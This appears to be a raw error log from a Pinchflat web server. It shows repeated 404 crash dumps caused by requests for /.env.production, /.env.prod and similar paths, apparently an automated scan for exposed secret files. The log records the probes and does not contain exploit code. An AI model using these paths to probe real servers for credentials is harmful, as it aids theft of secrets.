%Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16381.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTEKoUcBkCEEAA_MC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16381.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_he (truncated) 06:39:41.487 [info] GET /.env.production.local 06:39:41.488 [debug] QUERY OK source="settings" db=0.1ms idle=160.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.488 [debug] QUERY OK source="settings" db=0.1ms idle=121.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.488 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:41.488 [error] #PID<0.16382.0> running PinchflatWeb.Endpoint (connection #PID<0.16375.0>, stream id 7) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.production.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16382.0>, params: %{}, path_info: [".env.production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.production.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTEQWUQuNXN8AA_OC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16382.0>, params: %{}, path_info: [".env.production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.production. (truncated) 06:39:41.726 [info] GET /.env.prod 06:39:41.726 [debug] QUERY OK source="settings" db=0.1ms idle=358.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.726 [debug] QUERY OK source="settings" db=0.0ms idle=262.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.726 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:41.727 [error] #PID<0.16383.0> running PinchflatWeb.Endpoint (connection #PID<0.16375.0>, stream id 8) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.prod ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16383.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.prod", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTFJKYKPD0dcAA_QC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16383.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.prod", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control (truncated) 06:39:41.958 [info] GET /shop 06:39:41.958 [debug] QUERY OK source="settings" db=0.1ms idle=493.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.959 [debug] QUERY OK source="settings" db=0.1ms idle=470.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.959 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:41.959 [error] #PID<0.16384.0> running PinchflatWeb.Endpoint (connection #PID<0.16375.0>, stream id 9) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /shop ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shop (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shop", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16384.0>, params: %{}, path_info: ["shop"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/shop", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTGAgcRjA84cAA_SC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shop", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shop (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shop", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16384.0>, params: %{}, path_info: ["shop"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, (truncated) 06:39:42.142 [info] GET /subscribe 06:39:42.143 [debug] QUERY OK source="settings" db=0.2ms idle=416.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:42.143 [debug] QUERY OK source="settings" db=0.1ms idle=416.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:42.143 [debug] Converted error 